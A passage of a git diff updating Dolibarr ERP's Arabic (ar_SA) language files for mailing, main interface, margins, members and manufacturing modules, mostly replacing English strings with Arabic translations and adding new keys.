-MailingModuleDescContactsByCompanyCategory=Contacts by third-party category +MailingModuleDescContactsByCompanyCategory=جهات الاتصال حسب فئة الطرف الثالث MailingModuleDescContactsByCategory=Contacts by categories MailingModuleDescContactsByFunction=Contacts by position -MailingModuleDescEmailsFromFile=Emails from file -MailingModuleDescEmailsFromUser=Emails input by user -MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Third parties (by categories) -SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. -EmailCollectorFilterDesc=All filters must match to have an email being collected +MailingModuleDescEmailsFromFile=رسائل البريد الإلكتروني من الملف +MailingModuleDescEmailsFromUser=إدخال رسائل البريد الإلكتروني من قبل المستخدم +MailingModuleDescDolibarrUsers=المستخدمون الذين لديهم رسائل بريد إلكتروني +MailingModuleDescThirdPartiesByCategories=أطراف ثالثة +SendingFromWebInterfaceIsNotAllowed=الإرسال من واجهة الويب غير مسموح به. +EmailCollectorFilterDesc=يجب أن تتطابق جميع المرشحات حتى يتم جمع بريد إلكتروني # Libelle des modules de liste de destinataires mailing LineInFile=خط المستندات في ملف ٪ @@ -121,19 +121,19 @@ DeliveryReceipt=Delivery Ack. YouCanUseCommaSeparatorForSeveralRecipients=يمكنك استخدام الفاصلة فاصل لتحديد عدد من المتلقين. TagCheckMail=افتتاح البريد المسار TagUnsubscribe=رابط إلغاء الاشتراك -TagSignature=Signature of sending user -EMailRecipient=Recipient Email -TagMailtoEmail=Recipient Email (including html "mailto:" link) +TagSignature=توقيع المستخدم المرسل +EMailRecipient=البريد الإلكتروني المستلم +TagMailtoEmail=البريد الإلكتروني للمستلم (بما في ذلك رابط "mailto:" html) NoEmailSentBadSenderOrRecipientEmail=لا ترسل البريد الإلكتروني. مرسل سيئة أو البريد الإلكتروني المستلم. تحقق ملف تعريف المستخدم. # Module Notifications Notifications=الإخطارات -NotificationsAuto=Notifications Auto. -NoNotificationsWillBeSent=No automatic email notifications are planned for this event type and company -ANotificationsWillBeSent=1 automatic notification will be sent by email -SomeNotificationsWillBeSent=%s automatic notifications will be sent by email -AddNewNotification=Subscribe to a new automatic email notification (target/event) -ListOfActiveNotifications=List of all active subscriptions (targets/events) for automatic email notification -ListOfNotificationsDone=List of all automatic email notifications sent +NotificationsAuto=إخطارات السيارات. +NoNotificationsWillBeSent=لا توجد إخطارات تلقائية بالبريد الإلكتروني مخططة لهذا النوع من الأحداث والشركة +ANotificationsWillBeSent=سيتم إرسال إشعار تلقائي واحد عبر البريد الإلكتروني +SomeNotificationsWillBeSent=%s سيتم إرسال إشعارات تلقائية عبر البريد الإلكتروني +AddNewNotification=اشترك في إشعار تلقائي جديد بالبريد الإلكتروني (الهدف / الحدث) +ListOfActiveNotifications=قائمة بجميع الاشتراكات النشطة (الأهداف / الأحداث) للإخطار التلقائي بالبريد الإلكتروني +ListOfNotificationsDone=قائمة بجميع إخطارات البريد الإلكتروني التلقائية المرسلة MailSendSetupIs=وقد تم تكوين إرسال البريد الإلكتروني الإعداد ل'٪ ق'. هذا الوضع لا يمكن أن تستخدم لإرسال إرساله عبر البريد الإلكتروني الشامل. MailSendSetupIs2=يجب عليك أولا الذهاب، مع حساب مشرف، في القائمة٪ sHome - إعداد - رسائل البريد الإلكتروني٪ s إلى تغيير المعلمة '٪ ق' لاستخدام وضع '٪ ق'. مع هذا الوضع، يمكنك إدخال الإعداد خادم SMTP المقدمة من قبل موفر خدمة الإنترنت واستخدام قداس ميزة البريد الإلكتروني. MailSendSetupIs3=إذا كان لديك أي أسئلة حول كيفية إعداد ملقم SMTP الخاص بك، يمكنك أن تطلب إلى٪ s. @@ -142,39 +142,41 @@ NbOfTargetedContacts=العدد الحالي من رسائل البريد الإ UseFormatFileEmailToTarget=Imported file must have format email;name;firstname;other UseFormatInputEmailToTarget=Enter a string with format email;name;firstname;other MailAdvTargetRecipients=Recipients (advanced selection) -AdvTgtTitle=Fill input fields to preselect the third parties or contacts/addresses to target -AdvTgtSearchTextHelp=Use %% as wildcards. For example to find all item like jean, joe, jim, you can input j%%, you can also use ; as separator for value, and use ! for except this value. For example jean;joe;jim%%;!jimo;!jima%% will target all jean, joe, start with jim but not jimo and not everything that starts with jima +AdvTgtTitle=املأ حقول الإدخال للتحديد المسبق للأطراف الثالثة أو جهات الاتصال / العناوين المراد استهدافها +AdvTgtSearchTextHelp=استخدم %% كأحرف بدل. على سبيل المثال للعثور على كل العناصر مثل jean، joe، jim ، يمكنك إدخال j%% ، يمكنك أيضًا استخدام ؛ كفاصل للقيمة والاستخدام! باستثناء هذه القيمة. على سبيل المثال jean؛ joe؛ jim%%؛! jimo؛! jima%% سيستهدف كل jean ، joe ، ابدأ بـ jim ولكن ليس jimo وليس كل شيء يبدأ بـ jima AdvTgtSearchIntHelp=Use interval to select int or float value AdvTgtMinVal=Minimum value AdvTgtMaxVal=Maximum value AdvTgtSearchDtHelp=Use interval to select date value AdvTgtStartDt=Start dt. AdvTgtEndDt=End dt. -AdvTgtTypeOfIncudeHelp=Target Email of third party and email of contact of the third party, or just third-party email or just contact email +AdvTgtTypeOfIncudeHelp=الهدف البريد الإلكتروني للطرف الثالث والبريد الإلكتروني لجهة اتصال الطرف الثالث ، أو البريد الإلكتروني لجهة خارجية فقط أو مجرد الاتصال بالبريد الإلكتروني AdvTgtTypeOfIncude=Type of targeted email AdvTgtContactHelp=Use only if you target contact into "Type of targeted email" AddAll=Add all RemoveAll=Remove all ItemsCount=Item(s) AdvTgtNameTemplate=Filter name -AdvTgtAddContact=Add emails according to criteria +AdvTgtAddContact=أضف رسائل البريد الإلكتروني وفقًا للمعايير AdvTgtLoadFilter=Load filter AdvTgtDeleteFilter=Delete filter AdvTgtSaveFilter=Save filter AdvTgtCreateFilter=Create filter AdvTgtOrCreateNewFilter=Name of new filter -NoContactWithCategoryFound=No category found linked to some contacts/addresses -NoContactLinkedToThirdpartieWithCategoryFound=No category found linked to some thirdparties -OutGoingEmailSetup=Outgoing emails -InGoingEmailSetup=Incoming emails -OutGoingEmailSetupForEmailing=Outgoing emails (for module %s) -DefaultOutgoingEmailSetup=Same configuration than the global Outgoing email setup +NoContactWithCategoryFound=لم يتم العثور على فئة مرتبطة ببعض جهات الاتصال / العناوين +NoContactLinkedToThirdpartieWithCategoryFound=لم يتم العثور على فئة مرتبطة ببعض الأطراف الثالثة +OutGoingEmailSetup=رسائل البريد الإلكتروني الصادرة +InGoingEmailSetup=رسائل البريد الإلكتروني الواردة +OutGoingEmailSetupForEmailing=رسائل البريد الإلكتروني الصادرة (للوحدة النمطية %s) +DefaultOutgoingEmailSetup=نفس التكوين من إعداد البريد الإلكتروني الصادر العام Information=معلومات -ContactsWithThirdpartyFilter=Contacts with third-party filter -Unanswered=Unanswered +ContactsWithThirdpartyFilter=جهات الاتصال مع مرشح طرف ثالث +Unanswered=لم يتم الرد عليها Answered=محلول -IsNotAnAnswer=Is not answer (initial email) -IsAnAnswer=Is an answer of an initial email -RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s -DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact -DefaultStatusEmptyMandatory=Empty but mandatory +IsNotAnAnswer=ليس إجابة (البريد الإلكتروني الأولي) +IsAnAnswer=هي إجابة رسالة بريد إلكتروني أولية +RecordCreatedByEmailCollector=السجل الذي تم إنشاؤه بواسطة مُجمع البريد الإلكتروني %s من البريد الإلكتروني %s +DefaultBlacklistMailingStatus=القيمة الافتراضية للحقل "%s" عند تكوين جهة اتصال جديدة +DefaultStatusEmptyMandatory=فارغ ولكنه إلزامي +WarningLimitSendByDay=تحذير: إعداد أو عقد المثيل الخاص بك يحد من عدد رسائل البريد الإلكتروني يوميًا إلى %s . قد تؤدي محاولة إرسال المزيد إلى إبطاء المثيل أو تعليقه. يرجى الاتصال بالدعم الخاص بك إذا كنت بحاجة إلى حصة أعلى. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/ar_SA/main.lang b/htdocs/langs/ar_SA/main.lang index 5bf59f3f85c..8e6c8c6381a 100644 --- a/htdocs/langs/ar_SA/main.lang +++ b/htdocs/langs/ar_SA/main.lang @@ -34,6 +34,7 @@ NoTemplateDefined=لا يوجد قالب متاح لهذا النوع من ال AvailableVariables=متغيرات الاستبدال المتاحة NoTranslation=لا يوجد ترجمة Translation=الترجمة +Translations=Translations CurrentTimeZone=حسب توقيت خادم البي إتش بي EmptySearchString=أدخل معايير بحث غير فارغة EnterADateCriteria=أدخل معايير التاريخ @@ -205,6 +206,7 @@ Valid=صالح Approve=موافق Disapprove=رفض ReOpen=إعادة فتح +OpenVerb=مفتوح Upload=Upload ToLink=حلقة الوصل Select=اختار @@ -222,8 +224,9 @@ UserGroup=مجموعة المستخدمين UserGroups=مجموعات الاعضاء NoUserGroupDefined=لم يتم تحديد مجموعة مستخدمين Password=كلمة المرور -PasswordRetype=أعد كتابة كلمة المرور +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=لاحظ أنه تم تعطيل الكثير من الميزات | الوحدات في هذا العرض التوضيحي. +YourUserFile=Your user file Name=اسم NameSlashCompany=الاسم | الشركة Person=شخص @@ -487,6 +490,7 @@ ActionsOnContact=الأحداث لهذا الاتصال او العنوان ActionsOnContract=أحداث هذا العقد ActionsOnMember=الأحداث عن هذا العضو ActionsOnProduct=أحداث حول هذا المنتج +ActionsOnAsset=Events for this fixed asset NActionsLate=%s متأخر ToDo=للعمل Completed=مكتمل @@ -808,6 +812,7 @@ URLPhoto=عنوان URL للصورة | الشعار SetLinkToAnotherThirdParty=ربط بطرف ثالث آخر LinkTo=ربط مع او بـ LinkToProposal=ربط مع العرض +LinkToExpedition= Link to expedition LinkToOrder=ربط مع الامر LinkToInvoice=ربط مع الفاتورة LinkToTemplateInvoice=ربط مع قالب الفاتورة @@ -893,6 +898,9 @@ MassFilesArea=مساحة للملفات التي تم إنشاؤها بواسط ShowTempMassFilesArea=عرض مساحة الملفات التي تم إنشاؤها بواسطة الإجراءات الجماعية ConfirmMassDeletion=تأكيد الحذف الضخم ConfirmMassDeletionQuestion=هل أنت متأكد من أنك تريد حذف %s السجل (السجلات) المحددة؟ +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=كائنات ذات صلة ClassifyBilled=تصنيف الفواتير ClassifyUnbilled=تصنيف غير مفوتر @@ -908,8 +916,8 @@ ExportFilteredList=تصدير قائمة التى تم تصفيتها ExportList=قائمة التصدير ExportOptions=خيارات التصدير IncludeDocsAlreadyExported=تضمين المستندات التي تم تصديرها -ExportOfPiecesAlreadyExportedIsEnable=Export of pieces already exported is enable -ExportOfPiecesAlreadyExportedIsDisable=Export of pieces already exported is disable +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=تم تسجيل جميع حركات التصدير على أنها مصدرة NotAllExportedMovementsCouldBeRecordedAsExported=لا يمكن تسجيل جميع حركات التصدير على أنها مصدرة Miscellaneous=متفرقات @@ -926,6 +934,7 @@ DirectDownloadInternalLink=رابط التحميل الخاص PrivateDownloadLinkDesc=تحتاج إلى تسجيل الدخول وتحتاج إلى أذونات لعرض الملف أو تنزيله Download=تحميل DownloadDocument=تحميل مستند +DownloadSignedDocument=Download signed document ActualizeCurrency=تحديث سعر العملة Fiscalyear=السنة المالية ModuleBuilder=الوحدة النمطية ومنشئ التطبيق @@ -1051,6 +1060,7 @@ SearchIntoContracts=عقود SearchIntoCustomerShipments=شحنات العملاء SearchIntoExpenseReports=تقارير المصاريف SearchIntoLeaves=الاجازات +SearchIntoKM=Knowledge base SearchIntoTickets=تذاكر SearchIntoCustomerPayments=مدفوعات العميل SearchIntoVendorPayments=مدفوعات الموردين @@ -1122,6 +1132,7 @@ DeleteFileText=هل تريد حقا حذف هذا الملف؟ ShowOtherLanguages=عرض اللغات الأخرى SwitchInEditModeToAddTranslation=قم بالتبديل في وضع التحرير لإضافة ترجمات لهذه اللغة NotUsedForThisCustomer=غير مستخدم لهذا العميل +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=المبلغ يجب أن يكون موجبًا ByStatus=حسب الحالة InformationMessage=معلومات @@ -1142,15 +1153,29 @@ EventReminder=تذكير بالحدث UpdateForAllLines=تحديث لجميع البنود OnHold=في الانتظار Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=إنشاء مستخدم خارجي -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=لا يوجد ملصق لنوع السجل +Rate=معدل +SupervisorNotFound=Supervisor not found CopiedToClipboard=تم النسخ الى الحافظة InformationOnLinkToContract=هذا المبلغ هو مجموع بنود العقد . دون مراعاة قيمة الزمن ConfirmCancel=هل أنت متأكد أنك تريد إلغاء EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=تعيين على تمكين SetToDisabled=تعيين إلى معطل ConfirmMassEnabling=تأكيد التمكين الشامل @@ -1179,11 +1204,21 @@ Terminated=تم إنهاؤه AddLineOnPosition=أضف سطرًا في الموضع (في النهاية إذا كان فارغًا) ConfirmAllocateCommercial=تعيين تأكيد مندوب المبيعات ConfirmAllocateCommercialQuestion=هل أنت متأكد من أنك تريد تعيين السجل (السجلات) المحددة %s؟ -CommercialsAffected=مندوبي المبيعات يتأثرون -CommercialAffected=مندوب المبيعات يتأثر +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=رسالتك YourMessageHasBeenReceived=وقد وردت الرسالة. سنقوم بالرد أو الاتصال بك في أقرب وقت ممكن. UrlToCheck=عنوان Url المراد التحقق منه Automation=أتمتة -CreatedByEmailCollector=Created by Email collector -CreatedByPublicPortal=Created from Public portal +CreatedByEmailCollector=تم إنشاؤها بواسطة جامع البريد الإلكتروني +CreatedByPublicPortal=تم إنشاؤه من بوابة عامة +UserAgent=User Agent +InternalUser=مستخدم داخلي +ExternalUser=مستخدم خارجي +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/ar_SA/margins.lang b/htdocs/langs/ar_SA/margins.lang index 7195b871c51..43d633f2d9d 100644 --- a/htdocs/langs/ar_SA/margins.lang +++ b/htdocs/langs/ar_SA/margins.lang @@ -22,7 +22,7 @@ ProductService=المنتج أو الخدمة AllProducts=جميع المنتجات والخدمات ChooseProduct/Service=اختيار المنتج أو الخدمة ForceBuyingPriceIfNull=فرض سعر شراء / تكلفة إلى سعر البيع إذا لم يتم تحديدها -ForceBuyingPriceIfNullDetails=If buying/cost price not provided when we add a new line, and this option is "ON", the margin will be 0%% on the new line (buying/cost price = selling price). If this option is "OFF" (recommended), margin will be equal to the value suggested by default (and may be 100%% if no default value can be found). +ForceBuyingPriceIfNullDetails=إذا لم يتم توفير سعر الشراء / التكلفة عند إضافة سطر جديد ، وكان هذا الخيار "تشغيل" ، فسيكون الهامش 0%% في السطر الجديد (سعر الشراء / سعر التكلفة = سعر البيع). إذا كان هذا الخيار "إيقاف التشغيل" (مستحسن) ، فسيكون الهامش مساويًا للقيمة المقترحة افتراضيًا (وقد يكون 100%% إذا لم يتم العثور على قيمة افتراضية). MARGIN_METHODE_FOR_DISCOUNT=طريقة الهامش للخصومات العالمية UseDiscountAsProduct=كمنتج UseDiscountAsService=كخدمة @@ -32,14 +32,14 @@ MARGIN_TYPE=سعر الشراء / التكلفة المقترحة افتراضي MargeType1=الهامش على سعر المورد الافضل MargeType2=الهامش على متوسط ​​السعر المرجح (واب) MargeType3=هامش على سعر التكلفة -MarginTypeDesc=* Margin on best buying price = Selling price - Best vendor price defined on product card
      * Margin on Weighted Average Price (WAP) = Selling price - Product Weighted Average Price (WAP) or best vendor price if WAP not yet defined
      * Margin on Cost price = Selling price - Cost price defined on product card or WAP if cost price not defined, or best vendor price if WAP not yet defined +MarginTypeDesc=* الهامش على أفضل سعر شراء = سعر البيع - أفضل سعر للبائع المحدد في بطاقة المنتج
      * الهامش على متوسط السعر المرجح (WAP) = سعر البيع - متوسط السعر المرجح للمنتج (WAP) أو أفضل سعر للبائع إذا لم يتم تحديد WAP بعد
      * الهامش بسعر التكلفة = سعر البيع - سعر التكلفة المحدد على بطاقة المنتج أو WAP إذا لم يتم تحديد سعر التكلفة ، أو أفضل سعر للبائع إذا لم يتم تحديد WAP بعد CostPrice=سعر الكلفة UnitCharges=رسوم الوحدة Charges=الرسوم AgentContactType=نوع اتصال الوكيل التجاري -AgentContactTypeDetails=Define what contact type (linked on invoices) will be used for margin report per contact/address. Note that reading statistics on a contact is not reliable since in most cases the contact may not be defined explicitely on the invoices. +AgentContactTypeDetails=حدد نوع جهة الاتصال (المرتبطة بالفواتير) التي سيتم استخدامها لتقرير الهامش لكل جهة اتصال / عنوان. لاحظ أن قراءة الإحصائيات الخاصة بجهة اتصال لا يمكن الاعتماد عليها لأنه في معظم الحالات قد لا يتم تحديد جهة الاتصال بشكل واضح في الفواتير. rateMustBeNumeric=يجب أن يكون السعر قيمة رقمية markRateShouldBeLesserThan100=يجب أن يكون معدل العلامة أقل من 100 ShowMarginInfos=إظهار معلومات الهامش CheckMargins=تفاصيل الهوامش -MarginPerSaleRepresentativeWarning=The report of margin per user use the link between third parties and sale representatives to calculate the margin of each sale representative. Because some thirdparties may not have any dedicated sale representative and some third parties may be linked to several, some amounts may not be included into this report (if there is no sale representative) and some may appear on different lines (for each sale representative). +MarginPerSaleRepresentativeWarning=يستخدم تقرير الهامش لكل مستخدم الرابط بين الأطراف الثالثة وممثلي البيع لحساب هامش كل مندوب بيع. نظرًا لأن بعض الأطراف الثالثة قد لا يكون لديها أي ممثل بيع مخصص وقد يتم ربط بعض الأطراف الثالثة بعدة مبالغ ، فقد لا يتم تضمين بعض المبالغ في هذا التقرير (إذا لم يكن هناك ممثل بيع) وقد يظهر البعض في سطور مختلفة (لكل مندوب بيع) . diff --git a/htdocs/langs/ar_SA/members.lang b/htdocs/langs/ar_SA/members.lang index f8764aafc0f..f92fb5eb039 100644 --- a/htdocs/langs/ar_SA/members.lang +++ b/htdocs/langs/ar_SA/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=عضو آخر (الاسم : ٪ ق< ErrorUserPermissionAllowsToLinksToItselfOnly=لأسباب أمنية ، يجب أن تمنح أذونات لتحرير جميع المستخدمين لتكون قادرة على ربط عضو لمستخدم هذا ليس لك. SetLinkToUser=وصلة إلى مستخدم Dolibarr SetLinkToThirdParty=وصلة إلى طرف ثالث Dolibarr +MemberCountersArePublic=Counters of valid members are public MembersCards=توليد بطاقات للاعضاء MembersList=قائمة الأعضاء MembersListToValid=قائمة مشاريع أعضاء (ينبغي التأكد من صحة) @@ -34,7 +35,8 @@ DateSubscription=تاريخ العضوية DateEndSubscription=تاريخ انتهاء العضوية EndSubscription=انتهاء العضوية SubscriptionId=معرف المساهمة -WithoutSubscription=بدون مساهمة +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=معرف العضو MemberRef=عضو المرجع NewMember=عضو جديد @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=لا يمكن حذف نوع العضو NewSubscription=مساهمة جديدة NewSubscriptionDesc=هذا النموذج يسمح لك لتسجيل الاشتراك الخاص بك كعضو جديد من الأساس. إذا كنت ترغب في تجديد الاشتراك (إذا كان بالفعل عضوا)، يرجى الاتصال مؤسسة المجلس بدلا من %s البريد الإلكتروني. Subscription=إسهام +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=مدة +GetMembershipButtonLabel=Join Subscriptions=مساهمات SubscriptionLate=متأخر SubscriptionNotReceived=المساهمة لم يتم استلامها @@ -136,7 +144,7 @@ CardContent=مضمون البطاقة الخاصة بك عضوا # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=نريد إخبارك بأنه قد تم استلام طلب العضوية الخاص بك.

      ThisIsContentOfYourMembershipWasValidated=نود إعلامك بأنه تم التحقق من عضويتك بالمعلومات التالية:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=نريد إخبارك بأن اشتراكك على وشك الانتهاء أو انتهى بالفعل (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). نأمل أن تقوم بتجديده.

      ThisIsContentOfYourCard=هذا ملخص للمعلومات التي لدينا عنك. يرجى الاتصال بنا إذا كان أي شيء غير صحيح.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=موضوع إشعار البريد الإلكتروني المستلم في حالة التسجيل التلقائي للضيف @@ -198,9 +206,12 @@ SubscriptionsStatistics=إحصاءات المساهمات NbOfSubscriptions=عدد المساهمات AmountOfSubscriptions=المبلغ المحصل من المساهمات TurnoverOrBudget=دوران (لشركة) أو الميزانية (على أساس) -DefaultAmount=المبلغ الافتراضي للمساهمة -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=القفز على صفحة الدفع عبر الانترنت المتكاملة +DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) +MinimumAmount=Minimum amount (used only when contribution amount is free) +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=بالطبيعة MembersStatisticsByProperties=إحصائيات الأعضاء حسب الطبيعة VATToUseForSubscriptions=معدل ضريبة القيمة المضافة لاستخدامه في المساهمات @@ -221,3 +232,4 @@ CreateDolibarrLoginDesc=يسمح إنشاء تسجيل دخول مستخدم ل CreateDolibarrThirdPartyDesc=الطرف الثالث هو الكيان القانوني الذي سيتم استخدامه في الفاتورة إذا قررت إنشاء فاتورة لكل مساهمة. ستتمكن من إنشائه لاحقًا أثناء عملية تسجيل المساهمة. MemberFirstname=الاسم الأول للعضو MemberLastname=اسم العائلة للعضو +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/ar_SA/mrp.lang b/htdocs/langs/ar_SA/mrp.lang index 0abf5f071be..5b80d46d669 100644 --- a/htdocs/langs/ar_SA/mrp.lang +++ b/htdocs/langs/ar_SA/mrp.lang @@ -1,109 +1,120 @@ Mrp=أوامر التصنيع -MOs=Manufacturing orders -ManufacturingOrder=Manufacturing Order -MRPDescription=Module to manage production and Manufacturing Orders (MO). -MRPArea=MRP Area -MrpSetupPage=Setup of module MRP -MenuBOM=Bills of material -LatestBOMModified=Latest %s Bills of materials modified -LatestMOModified=Latest %s Manufacturing Orders modified -Bom=Bills of Material -BillOfMaterials=Bill of Materials -BillOfMaterialsLines=Bill of Materials lines -BOMsSetup=Setup of module BOM -ListOfBOMs=List of bills of material - BOM -ListOfManufacturingOrders=List of Manufacturing Orders -NewBOM=New bill of materials -ProductBOMHelp=Product to create (or disassemble) with this BOM.
      Note: Products with the property 'Nature of product' = 'Raw material' are not visible into this list. -BOMsNumberingModules=BOM numbering templates -BOMsModelModule=BOM document templates -MOsNumberingModules=MO numbering templates -MOsModelModule=MO document templates -FreeLegalTextOnBOMs=Free text on document of BOM -WatermarkOnDraftBOMs=Watermark on draft BOM -FreeLegalTextOnMOs=Free text on document of MO -WatermarkOnDraftMOs=Watermark on draft MO -ConfirmCloneBillOfMaterials=Are you sure you want to clone the bill of materials %s ? -ConfirmCloneMo=Are you sure you want to clone the Manufacturing Order %s ? -ManufacturingEfficiency=Manufacturing efficiency -ConsumptionEfficiency=Consumption efficiency -ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly -ValueOfMeansLossForProductProduced=Value of 0.95 means an average of 5%% of loss of produced product -DeleteBillOfMaterials=Delete Bill Of Materials -DeleteMo=Delete Manufacturing Order -ConfirmDeleteBillOfMaterials=Are you sure you want to delete this Bill Of Materials? -ConfirmDeleteMo=Are you sure you want to delete this Manufacturing Order? +MOs=أوامر التصنيع +ManufacturingOrder=أمر التصنيع +MRPDescription=وحدة لإدارة أوامر الإنتاج والتصنيع (MO). +MRPArea=منطقة MRP +MrpSetupPage=إعداد وحدة MRP +MenuBOM=فواتير المواد +LatestBOMModified=أحدث %s فواتير المواد المعدلة +LatestMOModified=تم تعديل أحدث أوامر التصنيع %s +Bom=فواتير المواد +BillOfMaterials=فاتورة المواد +BillOfMaterialsLines=خطوط فاتورة المواد +BOMsSetup=إعداد وحدة BOM +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=أوامر التصنيع +NewBOM=فاتورة مواد جديدة +ProductBOMHelp=المنتج المراد إنشاؤه (أو تفكيكه) باستخدام قائمة مكونات الصنف.
      ملاحظة: المنتجات ذات الخاصية "طبيعة المنتج" = "المواد الخام" غير مرئية في هذه القائمة. +BOMsNumberingModules=قوالب ترقيم BOM +BOMsModelModule=قوالب مستندات BOM +MOsNumberingModules=قوالب ترقيم MO +MOsModelModule=قوالب مستندات MO +FreeLegalTextOnBOMs=نص حر في وثيقة BOM +WatermarkOnDraftBOMs=علامة مائية على مشروع BOM +FreeLegalTextOnMOs=نص مجاني على وثيقة MO +WatermarkOnDraftMOs=علامة مائية على مشروع MO +ConfirmCloneBillOfMaterials=هل أنت متأكد أنك تريد استنساخ فاتورة المواد %s؟ +ConfirmCloneMo=هل أنت متأكد من أنك تريد استنساخ أمر التصنيع %s؟ +ManufacturingEfficiency=كفاءة التصنيع +ConsumptionEfficiency=كفاءة الاستهلاك +Consumption=Consumption +ValueOfMeansLoss=تعني القيمة 0.95 متوسط خسارة 5%% أثناء التصنيع أو التفكيك +ValueOfMeansLossForProductProduced=قيمة 0.95 تعني متوسط 5%% لفقدان المنتج المنتج +DeleteBillOfMaterials=حذف قائمة المواد +DeleteMo=حذف أمر التصنيع +ConfirmDeleteBillOfMaterials=هل أنت متأكد أنك تريد حذف قائمة المواد هذه؟ +ConfirmDeleteMo=هل أنت متأكد أنك تريد حذف أمر التصنيع هذا؟ MenuMRP=أوامر التصنيع -NewMO=New Manufacturing Order -QtyToProduce=Qty to produce -DateStartPlannedMo=Date start planned -DateEndPlannedMo=Date end planned -KeepEmptyForAsap=Empty means 'As Soon As Possible' -EstimatedDuration=Estimated duration -EstimatedDurationDesc=Estimated duration to manufacture (or disassemble) this product using this BOM -ConfirmValidateBom=Are you sure you want to validate the BOM with the reference %s (you will be able to use it to build new Manufacturing Orders) -ConfirmCloseBom=Are you sure you want to cancel this BOM (you won't be able to use it to build new Manufacturing Orders anymore) ? -ConfirmReopenBom=Are you sure you want to re-open this BOM (you will be able to use it to build new Manufacturing Orders) -StatusMOProduced=Produced -QtyFrozen=Frozen Qty -QuantityFrozen=Frozen Quantity -QuantityConsumedInvariable=When this flag is set, the quantity consumed is always the value defined and is not relative to the quantity produced. -DisableStockChange=Stock change disabled -DisableStockChangeHelp=When this flag is set, there is no stock change on this product, whatever is the quantity consumed -BomAndBomLines=Bills Of Material and lines -BOMLine=Line of BOM -WarehouseForProduction=Warehouse for production -CreateMO=Create MO -ToConsume=To consume -ToProduce=To produce -ToObtain=To obtain -QtyAlreadyConsumed=Qty already consumed -QtyAlreadyProduced=Qty already produced -QtyRequiredIfNoLoss=Qty required if there is no loss (Manufacturing efficiency is 100%%) -ConsumeOrProduce=Consume or Produce -ConsumeAndProduceAll=Consume and Produce All -Manufactured=Manufactured -TheProductXIsAlreadyTheProductToProduce=The product to add is already the product to produce. -ForAQuantityOf=For a quantity to produce of %s -ForAQuantityToConsumeOf=For a quantity to disassemble of %s -ConfirmValidateMo=Are you sure you want to validate this Manufacturing Order? -ConfirmProductionDesc=By clicking on '%s', you will validate the consumption and/or production for the quantities set. This will also update the stock and record stock movements. -ProductionForRef=Production of %s -AutoCloseMO=Close automatically the Manufacturing Order if quantities to consume and to produce are reached -NoStockChangeOnServices=No stock change on services -ProductQtyToConsumeByMO=Product quantity still to consume by open MO -ProductQtyToProduceByMO=Product quantity still to produce by open MO -AddNewConsumeLines=Add new line to consume -AddNewProduceLines=Add new line to produce -ProductsToConsume=Products to consume -ProductsToProduce=Products to produce -UnitCost=Unit cost -TotalCost=Total cost -BOMTotalCost=The cost to produce this BOM based on cost of each quantity and product to consume (use Cost price if defined, else Average Weighted Price if defined, else the Best purchase price) -GoOnTabProductionToProduceFirst=You must first have started the production to close a Manufacturing Order (See tab '%s'). But you can Cancel it. 